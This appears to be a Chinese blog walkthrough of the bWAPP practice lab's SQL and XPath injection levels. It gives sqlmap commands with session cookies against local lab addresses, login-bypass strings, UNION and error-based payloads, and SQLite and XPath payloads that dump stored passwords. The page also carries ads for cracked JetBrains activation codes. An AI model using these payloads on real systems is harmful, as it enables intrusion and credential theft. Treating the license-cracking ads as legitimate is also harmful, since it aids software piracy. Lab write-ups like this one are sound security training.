bwapp sql部分[通俗易懂]

bwapp sql部分[通俗易懂]文章目录SQLInjection(GET/Search)SQLInjection(GET/Select)SQLInjection(POST/Search)SQLInjection(POST/Select)SQLInjection(AJAX/JSON/jQuery)SQLInjection(CAPTCHA)SQLInjection(LoginForm/Hero)SQLInjection(LoginForm/User)SQLInjection(SQLite)SQLInj

大家好,又见面了,我是你们的朋友全栈君。如果您正在找激活码,请点击查看最新教程,关注关注公众号 “全栈程序员社区” 获取激活教程,可能之前旧版本教程已经失效.最新Idea2022.1教程亲测有效,一键激活。

Jetbrains全系列IDE使用 1年只要46元 售后保障 童叟无欺

SQL Injection (GET/Search)

这里的题都可以用sqlmap解决
sqlmap详解,可以参考这篇文章

构造sqlmap -u "http://192.168.41.137/sqli_1.php?title=a&action=search" -p title --cookie "security_level=0; PHPSESSID=bsmemp4vk1015lbju2csqchr63"
这里需要加cooike值,靶场需要登录
然后就会自动构造
在这里插入图片描述

SQL Injection (GET/Select)

在这里插入图片描述
使用order by 尝试可知,能试到7,
使用联合查询试一下,可以,然后就开始查库,查表,查列

SQL Injection (POST/Search)

使用了post传参而已
解决方法和get一样

SQL Injection (POST/Select)

在这里插入图片描述
通过抓包可以知道,不仅是post传参,而且title改成了movie,
解决方法一样

SQL Injection (AJAX/JSON/jQuery)

首先解释一下AJAX,Ajax 即“Asynchronous Javascript And XML”(异步 JavaScript 和 XML),通过在后台与服务器进行少量数据交换,Ajax 可以使网页实现异步更新。这意味着可以在不重新加载整个网页的情况下,对网页的某部分进行更新。比如我们使用百度的时候,有个功能叫“搜索预测”,当你输入第一个字的时候,下拉框里就会出现大量可能的关键词候选,这个用的就是ajax技术,而它的返回值一般是json/xml格式的,jQuery中提供实现ajax的方法(因为js很容易捕捉客户端的按键行为)

在这里插入图片描述
抓包推断输入的aget传参方法,但
URL为sqli_10-2.php?title=a但是实际浏览器看到的页面是,sqli_10-1.php,观察源代码发现
在这里插入图片描述
sqli_10-1.php将参数通过getJSON方法传给sqli_10-2.php,sqli_10-2.php立马执行查询,所以真正的注入点在sqli_10-2.php的title参数
当然,sqlmap能解决

SQL Injection (CAPTCHA)

进入后,直接输点东西,观看url,即可知道点在哪里

SQL Injection (Login Form/Hero)

在这里插入图片描述
用sql语句构造绕过,
admin
aa ' or 'a' = 'a
这是我采用的一种写法
在这里插入图片描述
用sqlmap的话,
这样构造
sqlmap -u "http://192.168.248.130/bWAPP/sqli_3.php" --data "login=111&password=111&form=submit" --cookie "security_level=0; PHPSESSID=5913f596beeaf73e40495ff8037750a9" -p login
用给定的payload进行post注入

SQL Injection (Login Form/User)

在这里插入图片描述
order by 先爆破
当为9的时候
在这里插入图片描述
当为10的时候,
在这里插入图片描述
因此我们就可以相信他是9
' UNION SELECT 1,2,3,4,5,6,7,8,9#在使用联合查询爆破回显位
但尝试后感觉不行,最后搜索到的大佬是这样写的
' UNION SELECT 1,2,'356a192b7913b04c54574d18c28d46e6395428ab',4,5,6,7,8,9#
原因http://www.mamicode.com/info-detail-2239051.html

SQL Injection (SQLite)

SQLite 简介

SQLite是一个软件库,实现了自给自足的、无服务器的、零配置的、事务性的 SQL
数据库引擎。SQLite是一个增长最快的数据库引擎,这是在普及方面的增长,与它的尺寸大小无关。SQLite 源代码不受版权限制。

sqlmap可以解决

SQL Injection – Stored (Blog)

在这里插入图片描述
用sqlmap将post参数加上去

SQL Injection – Stored (SQLite)

meetsec’,’’);
meetsec’,sqlite_version());
meetsec’,(select name from sqlite_master where type=‘table’));
meetsec’,(select login||”:”||password from users)) – –
新的独立的注入方法

SQL Injection – Stored (User-Agent)

在这里插入图片描述
抓包,修改UA为单引号,出现报错
继续
1' ,(select version()))#
1' ,(select user()))#,这样都可以查询到
在这里插入图片描述

SQL Injection – Stored (XML)

构造post参数
<reset><login>bee'+(select 1 and row(1,1)>(select count(*),concat(CONCAT((SELECT @@version)),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))+'</login><secret>bee'+(select 1 and row(1,1)>(select count(*),concat(CONCAT((SELECT @@version)),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))+'</secret></reset>

在这里插入图片描述

XML/XPath Injection (Login Form)

XPath其实和sql查询挺像,区别在于sql查询是在数据库中查数据,Xpath是在xml中找信息,既然如此只要熟悉一下Xpath的语法,知道它的特点即可找到对应的注入思路

在 XPath 中,有七种类型的节点:元素、属性、文本、命名空间、处理指令、注释以及文档节点(或称为根节点)。节点之间存在父、子、先辈、后代、同胞关系,以t3stt3st.xml为例
根节点<root1> 、元素节点<user><username><key><hctfadmin>、属性节点name='user1'
<root1><user><htcfadmin>的父节点,同时也是<user><hctfadmin><username><key>的先辈。和是同胞节点。

在这里插入图片描述
构造meetset' or '1'='1,成功

在这里插入图片描述

XML/XPath Injection (Search)

在这里插入图片描述
$xml = simplexml_load_file(“passwords/heroes.xml”);

// XPath search
// $result = x m l − > x p a t h ( ” / / h e r o [ g e n r e = ′ xml->xpath(“//hero[genre = ‘ xml>xpath(//hero[genre=genre’]/movie”);
$result = x m l − > x p a t h ( ” / / h e r o [ c o n t a i n s ( g e n r e , ′ xml->xpath(“//hero[contains(genre, ‘ xml>xpath(//hero[contains(genre,genre’)]/movie”);

那么我们补全我们需要但他所缺乏的
构造payload')]/password | a[contains(a,'
这样完整的语句就是
$result = $xml->xpath("//hero[contains(genre, '')]/password | a[contains(a,'')]/movie");

$result = $xml->xpath("//hero/password");

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 举报,一经查实,本站将立刻删除。

发布者:全栈程序员-用户IM,转载请注明出处:https://javaforall.cn/190423.html原文链接:https://javaforall.cn

【正版授权,激活自己账号】: Jetbrains全家桶Ide使用,1年售后保障,每天仅需1毛

【官方授权 正版激活】: 官方授权 正版激活 支持Jetbrains家族下所有IDE 使用个人JB账号...

(0)


相关推荐

  • linux sort命令 排序,Linux sort排序方法[通俗易懂]

    linux sort命令 排序,Linux sort排序方法[通俗易懂]在文件的操作过程中,因为文件过多,往往需要进行一下排序,排序方法也就是从小到大排序或者从大到小排序。比如我们从nginx日志中需要找到访问量最长的url,那就需要对请求时间进行一个排序,根据请求时间长短排序后在打印后面的url就能清楚的知道那个url有问题了,废话先不说,看方法:文件排序我们先说一下linux的sort命令,sort命令可以根据我们的需求完成从大到小或者从小到大的排序。注意:sor…

  • VsCode系列(一):下载安装及汉化「建议收藏」

    VsCode系列(一):下载安装及汉化「建议收藏」VsCode的下载和安装在这篇文章中将为大家介绍WIN10操作系统如何下载安装并且汉化VsCode的方法。VsCode入门VisualStudioCode是一个轻量级但功能强大的源代码编辑器

  • linux计划任务详解,Linux计划任务详解

    linux计划任务详解,Linux计划任务详解计划任务是系统的常见功能,利用任务计划功能,可以将任何脚本、程序或文档安排在某个最方便的时间运行。任务计划在每次系统启动的时候启动并在后台运行。在Linux系统中,当我们需要在服务器上定时执行一些重复性的事件时使用的,可以通过Linux计划任务程序来运行准备好的脚本、批处理文件夹、程序或命令,在某个特定的时间运行。计划任务在Linux中一般使用Crontab,通过crontab命令,我们可…

  • pycharm2021专业版永久激活码【2021最新】

    (pycharm2021专业版永久激活码)最近有小伙伴私信我,问我这边有没有免费的intellijIdea的激活码,然后我将全栈君台教程分享给他了。激活成功之后他一直表示感谢,哈哈~IntelliJ2021最新激活注册码,破解教程可免费永久激活,亲测有效,下面是详细链接哦~https://javaforall.cn/100143.html…

  • pycharm汉化版安装_pokemmo语言汉化包

    pycharm汉化版安装_pokemmo语言汉化包一、在PyCharm主窗口中点击菜单栏中的File菜单下的Settings,进入PyCharm设置窗口,如下图所示二、在Setting中选择Plugins选项进入PyCharm插件管理窗口,在下图标注2处输入“chinese”系统会自动搜索相关插件,找到如下图标注3处所示的chinese(simplified)languagepackeap插件安装此插件(点击下图标注4处Install按钮)三、PyCharm中文语言插件安装完成后需要重启PyCharm,如下图所示。点击下图标注1或2处RE

  • nginx报错”worker_processes” directive is duplicate

    nginx报错”worker_processes” directive is duplicatenginx报错”worker_processes” directive is duplicate

发表回复

您的电子邮箱地址不会被公开。

关注全栈程序员社区公众号